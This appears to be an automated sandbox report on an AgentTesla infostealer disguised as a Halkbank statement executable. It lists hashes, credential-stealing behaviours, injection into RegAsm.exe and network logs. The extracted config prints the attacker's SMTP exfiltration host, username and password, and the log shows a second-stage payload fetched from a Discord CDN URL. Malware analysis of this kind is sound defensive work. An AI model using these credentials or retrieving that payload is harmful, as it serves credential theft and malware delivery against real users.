agenttesla | 6a8b7dcb6b3842bb2ca8f82053f391e99ff30020187b885654cf11c542c4b45a

Analysis

max time kernel
92s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23/09/2024, 10:50 UTC

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General

Target

Halkbank_Ekstre_20240922_080921_689429.exe
Size

110KB
MD5

c8cea26640b2fa181571afd43c2e4477
SHA1

5b9e511450b327634fcc620814ebf42cb57b0c91
SHA256

261f4e785355cfd784f655fe0fc4a67be3cc18bb09e742b0187cfcc284fa5240
SHA512

20d9aca79e7034fdd1dbd2b785af17f973c0b9a2ab38dd40338dc0217754d2ea1fd6f00ad9d60bf761dc9d8c135acf32ebd9064facc3e0f3dc9790c3cbd00212
SSDEEP

1536:Y48kc/9ORkoOQzhSppeT//142G1Fq9uelIA630VDx:8kE9OuDp21DiqAEVDx

Score

10^/10

agenttesla credential_access discovery keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.zqamcx.com
Port:
587
Username:
server1@zqamcx.com
Password:
Anambraeast@
Email To:
server@zqamcx.com

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3592 set thread context of 3756	3592	Halkbank_Ekstre_20240922_080921_689429.exe	85

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Halkbank_Ekstre_20240922_080921_689429.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3592	Halkbank_Ekstre_20240922_080921_689429.exe
3592	Halkbank_Ekstre_20240922_080921_689429.exe
3756	RegAsm.exe
3756	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3592	Halkbank_Ekstre_20240922_080921_689429.exe
Token: SeDebugPrivilege	3756	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3756	RegAsm.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3592 wrote to memory of 2228	3592	Halkbank_Ekstre_20240922_080921_689429.exe	84
PID 3592 wrote to memory of 2228	3592	Halkbank_Ekstre_20240922_080921_689429.exe	84
PID 3592 wrote to memory of 2228	3592	Halkbank_Ekstre_20240922_080921_689429.exe	84
PID 3592 wrote to memory of 3756	3592	Halkbank_Ekstre_20240922_080921_689429.exe	85
PID 3592 wrote to memory of 3756	3592	Halkbank_Ekstre_20240922_080921_689429.exe	85
PID 3592 wrote to memory of 3756	3592	Halkbank_Ekstre_20240922_080921_689429.exe	85
PID 3592 wrote to memory of 3756	3592	Halkbank_Ekstre_20240922_080921_689429.exe	85
PID 3592 wrote to memory of 3756	3592	Halkbank_Ekstre_20240922_080921_689429.exe	85
PID 3592 wrote to memory of 3756	3592	Halkbank_Ekstre_20240922_080921_689429.exe	85
PID 3592 wrote to memory of 3756	3592	Halkbank_Ekstre_20240922_080921_689429.exe	85
PID 3592 wrote to memory of 3756	3592	Halkbank_Ekstre_20240922_080921_689429.exe	85

C:\Users\Admin\AppData\Local\Temp\Halkbank_Ekstre_20240922_080921_689429.exe
"C:\Users\Admin\AppData\Local\Temp\Halkbank_Ekstre_20240922_080921_689429.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3592
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:2228
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:3756

Network

DNS

97.17.167.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

97.17.167.52.in-addr.arpa

IN PTR

Response
DNS

cdn.discordapp.com

Halkbank_Ekstre_20240922_080921_689429.exe

Remote address:

8.8.8.8:53

Request

cdn.discordapp.com

IN A

Response

cdn.discordapp.com

IN A

162.159.135.233

cdn.discordapp.com

IN A

162.159.129.233

cdn.discordapp.com

IN A

162.159.130.233

cdn.discordapp.com

IN A

162.159.134.233

cdn.discordapp.com

IN A

162.159.133.233
GET

https://cdn.discordapp.com/attachments/1265592680700711006/1287684873938800694/kingggggme.txt?ex=66f2717d&is=66f11ffd&hm=b878f34fc0cc8f8f697531b9c9c0248abaa28866b5778986aef88c57292e010a&

Halkbank_Ekstre_20240922_080921_689429.exe

Remote address:

162.159.135.233:443

Request

GET /attachments/1265592680700711006/1287684873938800694/kingggggme.txt?ex=66f2717d&is=66f11ffd&hm=b878f34fc0cc8f8f697531b9c9c0248abaa28866b5778986aef88c57292e010a& HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Mon, 23 Sep 2024 10:50:54 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 327008
Connection: keep-alive
CF-Ray: 8c79f9fa6acb657a-LHR
CF-Cache-Status: HIT
Accept-Ranges: bytes, bytes
Age: 10252
Cache-Control: public, max-age=31536000
Content-Disposition: attachment; filename="kingggggme.txt"
ETag: "1d67d8fd28fdc38b1606e7bd4c223a9d"
Expires: Tue, 23 Sep 2025 10:50:54 GMT
Last-Modified: Mon, 23 Sep 2024 07:59:58 GMT
Vary: Accept-Encoding
alt-svc: h3=":443"; ma=86400
x-goog-generation: 1727078398052007
x-goog-hash: crc32c=F3gHFg==
x-goog-hash: md5=HWfY/Sj9w4sWBue9TCI6nQ==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 327008
x-guploader-uploadid: AD-8ljuSgJeARyAKoFDsjKGCmnOLdW0aNJZzRI-XUBfMXltfgMk3zNRc58-0aFwDSDQQW9Hc4x64KlpuOQ
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Set-Cookie: __cf_bm=ryzA49SewVzWDV286kJY8giDpd9I0mPPFZwiKFheuEc-1727088654-1.0.1.1-LYYN2ERS7ejorfrWQoGTa_tTXaiChzg4jR5gQ.nh2KjhEZYOp1yriUQ_HSqcu_GUx5dxdkKr70PWb9pPwKMWjQ; path=/; expires=Mon, 23-Sep-24 11:20:54 GMT; domain=.discordapp.com; HttpOnly; Secure
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B80oVC7ZhyOH%2BIaZKvEBL7BAlZUO6vehSqBZAOruPVJv0Z9LpQKcnyKdXFVe3CWw7U7SQhp%2BDKFbJKArcnt3l%2Bu%2BWyXoXXem47glAlSO6Ji%2FxhWDALsG1Lw8vu3WghCUMbk%2BVg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Set-Cookie: _cfuvid=9lcmFL1wc_oHSiDQ9FdhBI3tv6ltb4s9eWJwaVneoCM-1727088654532-0.0.1.1-604800000; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
DNS

25.140.123.92.in-addr.arpa

Remote address:

8.8.8.8:53

Request

25.140.123.92.in-addr.arpa

IN PTR

Response

25.140.123.92.in-addr.arpa

IN PTR

a92-123-140-25deploystaticakamaitechnologiescom
DNS

233.135.159.162.in-addr.arpa

Remote address:

8.8.8.8:53

Request

233.135.159.162.in-addr.arpa

IN PTR

Response
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

ip-api.com

RegAsm.exe

Remote address:

8.8.8.8:53

Request

ip-api.com

IN A

Response

ip-api.com

IN A

208.95.112.1
GET

http://ip-api.com/line/?fields=hosting

RegAsm.exe

Remote address:

208.95.112.1:80

Request

GET /line/?fields=hosting HTTP/1.1
Host: ip-api.com
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Mon, 23 Sep 2024 10:50:56 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 6
Access-Control-Allow-Origin: *
X-Ttl: 60
X-Rl: 44
DNS

1.112.95.208.in-addr.arpa

Remote address:

8.8.8.8:53

Request

1.112.95.208.in-addr.arpa

IN PTR

Response

1.112.95.208.in-addr.arpa

IN PTR

ip-apicom
DNS

50.23.12.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

50.23.12.20.in-addr.arpa

IN PTR

Response
DNS

15.164.165.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

15.164.165.52.in-addr.arpa

IN PTR

Response
DNS

73.190.18.2.in-addr.arpa

Remote address:

8.8.8.8:53

Request

73.190.18.2.in-addr.arpa

IN PTR

Response

73.190.18.2.in-addr.arpa

IN PTR

a2-18-190-73deploystaticakamaitechnologiescom
DNS

14.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

14.227.111.52.in-addr.arpa

IN PTR

Response
DNS

172.210.232.199.in-addr.arpa

Remote address:

8.8.8.8:53

Request

172.210.232.199.in-addr.arpa

IN PTR

Response

162.159.135.233:443

https://cdn.discordapp.com/attachments/1265592680700711006/1287684873938800694/kingggggme.txt?ex=66f2717d&is=66f11ffd&hm=b878f34fc0cc8f8f697531b9c9c0248abaa28866b5778986aef88c57292e010a&

tls, http

Halkbank_Ekstre_20240922_080921_689429.exe

7.3kB
344.8kB
147
261

HTTP Request

GET https://cdn.discordapp.com/attachments/1265592680700711006/1287684873938800694/kingggggme.txt?ex=66f2717d&is=66f11ffd&hm=b878f34fc0cc8f8f697531b9c9c0248abaa28866b5778986aef88c57292e010a&

HTTP Response

200
208.95.112.1:80

http://ip-api.com/line/?fields=hosting

http

RegAsm.exe

356 B
347 B
6
4

HTTP Request

GET http://ip-api.com/line/?fields=hosting

HTTP Response

200

8.8.8.8:53

97.17.167.52.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

97.17.167.52.in-addr.arpa
8.8.8.8:53

cdn.discordapp.com

dns

Halkbank_Ekstre_20240922_080921_689429.exe

64 B
144 B
1
1

DNS Request

cdn.discordapp.com

DNS Response

162.159.135.233

162.159.129.233

162.159.130.233

162.159.134.233

162.159.133.233
8.8.8.8:53

25.140.123.92.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

25.140.123.92.in-addr.arpa
8.8.8.8:53

233.135.159.162.in-addr.arpa

dns

74 B
136 B
1
1

DNS Request

233.135.159.162.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

ip-api.com

dns

RegAsm.exe

56 B
72 B
1
1

DNS Request

ip-api.com

DNS Response

208.95.112.1
8.8.8.8:53

1.112.95.208.in-addr.arpa

dns

71 B
95 B
1
1

DNS Request

1.112.95.208.in-addr.arpa
8.8.8.8:53

50.23.12.20.in-addr.arpa

dns

70 B
156 B
1
1

DNS Request

50.23.12.20.in-addr.arpa
8.8.8.8:53

15.164.165.52.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

15.164.165.52.in-addr.arpa
8.8.8.8:53

73.190.18.2.in-addr.arpa

dns

70 B
133 B
1
1

DNS Request

73.190.18.2.in-addr.arpa
8.8.8.8:53

14.227.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

14.227.111.52.in-addr.arpa
8.8.8.8:53

172.210.232.199.in-addr.arpa

dns

74 B
128 B
1
1

DNS Request

172.210.232.199.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

memory/3592-5-0x0000000074DB0000-0x0000000075560000-memory.dmp

Filesize
7.7MB

Download
memory/3592-1-0x0000000000050000-0x0000000000074000-memory.dmp

Filesize
144KB

Download
memory/3592-2-0x0000000074DB0000-0x0000000075560000-memory.dmp

Filesize
7.7MB

Download
memory/3592-0-0x0000000074DBE000-0x0000000074DBF000-memory.dmp

Filesize
4KB

Download
memory/3756-7-0x0000000005760000-0x0000000005D04000-memory.dmp

Filesize
5.6MB

Download
memory/3756-6-0x0000000074DB0000-0x0000000075560000-memory.dmp

Filesize
7.7MB

Download
memory/3756-3-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/3756-8-0x0000000005130000-0x0000000005196000-memory.dmp

Filesize
408KB

Download
memory/3756-9-0x0000000074DB0000-0x0000000075560000-memory.dmp

Filesize
7.7MB

Download
memory/3756-10-0x0000000006560000-0x00000000065B0000-memory.dmp

Filesize
320KB

Download
memory/3756-11-0x0000000006650000-0x00000000066E2000-memory.dmp

Filesize
584KB

Download
memory/3756-12-0x00000000067F0000-0x00000000067FA000-memory.dmp

Filesize
40KB

Download
memory/3756-13-0x0000000074DB0000-0x0000000075560000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

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Downloads

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